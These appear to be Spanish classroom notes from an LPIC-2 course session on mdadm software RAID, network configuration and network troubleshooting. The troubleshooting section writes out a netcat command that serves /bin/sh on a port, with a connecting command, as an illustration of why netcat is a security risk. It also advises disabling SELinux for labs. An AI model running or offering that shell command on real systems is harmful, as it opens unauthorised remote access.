LPIC2 2021 Sesión 7 (2021-02-23)

Documentación relacionada:

- Manual Certificacion LPIC-2.pdf, pag 72
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/*
- Presentaciones/2020/201/
- gdrive://
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Gestion de Swap.txt

Clase

RAID

> Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf, pag 2

> Manual Certificacion LPIC-2.pdf, pag 72 √

- en certificación no preguntan por que es cada RAID (0,1,5,6)
- `mdadn <accion> <volumen> -l <nivel-raid> -n=<n-discos> [<dispositivos>]` ← `yum install mdadm`
  - **-C**: crear volume RAID
    - **--create**
  - **-S**: desactiva RAID y recursos
  - **-v**: verbose
    - **--verbose**
  - **/dev/mdX**: el volumen se ha de llamar así (cambiando X por un numeral)
  - **-l**: nivel de raid: 0,1,5
    - **--level**
  - **-n**
    - **--raid-devices**
- **-D**: comprobación del volumen
  - **/proc/mdstat**
- **–spare-devices=<n> <dispositivo-spare>**
- **–detail**: información del estado del RAID, operaciones pendientes, estado de los discos, para monitorización
- **-f <dispositivo>**: marcar el dispositivo como fallido (obliga al RAID a reajustarse, utilidad para cambio de disco)
  - **--fail**
  - OJO con raid 0, pueden perderse datos dependiendo de la confiración del spare
- **-r <dispositivo>**: retirar un dispositivo del RAID
  - **--remove**
- **-a <dispositivo>**: añadir dispositivo
  - **--add**
- **–stop**: para el RAID

- **–remove**: eliminar el RAID, no más disponible
- intent bitmap:
  - Una cosa importante es contar con el Intent Bitmap activo, esto es una característica que se le agrega a un arreglo por software y permite hacer sincronizaciones diferenciales entre los discos tras producirse una falla, reduciendo asi los tiempos al no tener que sincronizar el disco completo cada vez que algo ocurre.
  - `mdadm --grow <raid> --bitmap=internal`
  - `mdadm --grow <raid> --bitmap=none`
- `madam –zero-superblock <dispositivos-raid>`: eliminar el superbloque con metadatas para que no de problemas de reutilización (en otro RAID)
- **–query [<raid>|<dispositivo-fisico>]**
- **--examine <dispositivo-fisisco**
- **/etc/mdadm/mdadm.conf**
  - `mdadm –detail –scan » /etc/mdadm.conf`
  - **mdadm** no depende de este fichero de configuración para su funcionamiento. Es una manera adiciñal de seguir las pista.
  - **/etc/raidtab** ?

> Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/1-Laboratorio crear un RAID 1 por software.pdf

> Crear RAID y montar LVM sobre él (2-Laboratorio Volumenes Logicos+RAID1.pdf)

Laboratorio

> Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/Laboratorio RAID1 mdadm linux.txt

- crear partición (100%) del tipo Linux RAID **fd** en los discos sdb,sdc,sdd
- `mdadm -v -C /dev/md0 -n 2 /dev/sdb1 /dev/sdc1 -l 1 –spare-devices=1 /dev/sdd1`
  - nuevo dispositivo **/dev/md0** (sdb1, sdc1)
    - el nombre ha de ser **/dev/mdX**
  - RAID Level 1
  - un disco de **spare** (sdd1)
- formateamos y montamos:
  - `mkfs.ext3 /dev/md0`
  - `mount /dev/md0 /mnt`
- dejamos en terminal abierto una monitorización sobre el RAID: `watch mdadm –detail /dev/md0`
  - forzamos el fallo de uno de los discos: `mdadm /dev/md0 -f /dev/sdb1`
    - podemos ver en el terminal de **watch** como el sistema reemplaza el sdb1 por el spare sdd1
  - retiramos el disco «dañado»: `mdadm /dev/md0 -r /dev/sdb1`
    - vemos como no forma parte del RAID
  - y añadimos «otro»: `mdadm /dev/md0 -a /dev/sdb1`
  - para eliminar el raid:
    - `umount /mnt`
    - `mdadm --stop /dev/md0`
    - `mdadm --remove /dev/md0`

- es importante eliminar el superbloque (metadatos): `mdamd –zero-superblock /dev/sdb1 /dev/sdb1 /dev/sdc1 /dev/sdd1`
- eliminar configuración: `cat /dev/null > /etc/mdadm.conf`
- otro comando: `mdadm -As /dev/md0`
  - **-s**: escanea el /etc/mdadm.conf

> Ejemplos de conversión de un raid a otro... RAID1→RAID3, ampliar RAID5

Laboratorio (extra)

Sacar un disco de un raid existente y montarlo en un nuevo ordenador, como nuevo raid, para acceder a los datos contenidos

- `mdadm --create --verbose /dev/md1 --level=mirror --raid-devices=2 /dev/sdb1 missing`
- `mount /dev/md1 /mnt`

Cabina ISCSI

> Pendiente próxima semana: cabinas discos con opneFiler

- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Configuración Almacenamiento ISCSI
- cabinas con openfiler, para conectarnos
- http://clusterfrak.com/sysops/app_installs/openfiler_install/
- https://www.openfiler.com/
- http://vmwareinsight.com/Tutorials/2016/7/5799894/Step-by-Step-Configuration-Guide-for-Using-Openfiler-as-Shared-Storage-in-ESXi-and-vSphere-Environment

Networking Configuration

documentos

- doc: Manual Certificacion LPIC-2.pdf, pag 145
- doc: Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configuración de Red en Red Hat Enterprise Linux.pdf
- doc: Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configurar la red en RedHat7.txt

comandos

- `ip a`
- nombrar las tarjetas de red a **ethX**:
  - **biosdecode**
  - modificar **/etc/default/grub**
    - `GRUB_CMDLINE_LINUX="... quiet net.ifnames=0 biosdevname=0"`

- archivo de configuración centos/redhat: **/etc/sysconfig/network-scripts/ifcfg-<neword_device>**
  - al modificar: **systemctl restart network**, **ip link set <network_device> down (y después up**
- desactivar IPv6 (si no se ha de utilizar) → ¿como?
- **NetworkManager**: nuevo gestor con perfiles, en sustitución del anterior
- **hostname**
  - centos7:
    - **/etc/hostname**
    - `hostnamectl set-hostname <FQDN>`
  - centos6:
    - **/etc/sysconfig/network**
- modificar **/etc/hosts**
  - como buena práctica, que sepa resolverse a si misma
- **/etc/resolv.conf**: servidores DNS para mi máquina
  - nameserver: servidores que resuelven
  - search: sufijo de búsqueda (lo que añade a los nombres que usamos para localizar máquinas)
  - domain: el dominio en el que trabajamos
- `netstat -r`
  - `route add/del…`
- alias IP (varias IPs en el mismo interfaz):
  - `vi /etc/sysconfig/network-scripts/ifcfg-<interfaz>`
    - renombro IPADDR a IPADDR0 y NETMASK a NETMASK0
    - añado IPADDR1 y NETMASK1 con diferente IP
    - `systemctl restart network` (o networkManager)
  - copiar /etc/sysconfig/network-scripts/ifcfg-<interfaz> en /etc/sysconfig/network-scripts/ifcfg-<interfaz>:0
- forward paquetes (reenvio de paquetes entre 2 redes en 2 interfaces:
  - **/etc/sysctl.conf → net.ipv4.ip_forward = 1** → `sysctl -p` (aplicar)
- **/etc/nsswitch.conf**: métodos de resolución usuarios
- **nmtui**: networkManager «GUI» ← en modo texto
  - `yum install NetworkManager-tui -y`
- **nmcli**: networkManager «CLI»
  Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Lab interfaces de red con nmcli.txt
  - `nmcli connection show`
  - nos permite crear los ficheros de configuración (desde cero) en un comando
- debian:
  - **/etc/network/interfaces**
  - `service networking restart`
    Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf

Networking Configuration: Troubleshooting

- `route`
- `arp`
- `ss`, `netstat` (deprecado por ss)
  - `netstat -tan | grep -i listen`: que estoy ofreciendo TCP
  - `netstat -putan | grep -i listen`
- `nc`: netcat, navaja suiza ← desinstalar! ← `yum remove nmap-ncat` problema de seguridad
  Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Explicacion Topic 110 Security.txt
  - shell reverso
    - `nc -lvp 1234 -e /bin/sh &`
    - `nc 192.168.2.5 1234`
- **/etc/sysconfig/selinux** → disabled (preparativos para laboratorios)
  - y reiniciar (no hay servicio que controle esto)
- `tcpdump`
- `nmap`

    - `yum install nmap-frontend -y` → `zenmap`: frontend gráfico
- `traceroute`
- `mtr`
- `dmesg`
- `sar`: monitorización interfaces
    - sar
    - `ksar`: analizar los datos generados por un **sar**

TCPWrappers

- **/etc/host.allow**, **/etc/host.deny** : desuso (TCP wrappers)
    - Manual Certificacion LPIC-2.pdf, pag 155
    - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Explicacion Topic 110 Security.txt
    - `strings -f /usr/sbin/sshd | grep hosts_access`: programas que lo soportan
    - 3 etapas de comprobación de acceso a un servicio embebido TCP:
        - está autorizado expresamente
        - está denegado expresamente
        - permitido por defecto
    - usa expresiones en sus ficheros de configuración para permitir (o denegar)
        - ALL
        - LOCAL
        - UNKOWN
        - KNOWN
        - PARANOID
        - EXCEPT
    - permitimos en **allow**, denegamos en **deny** (o tendrá acceso por la tercera regla)
      Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf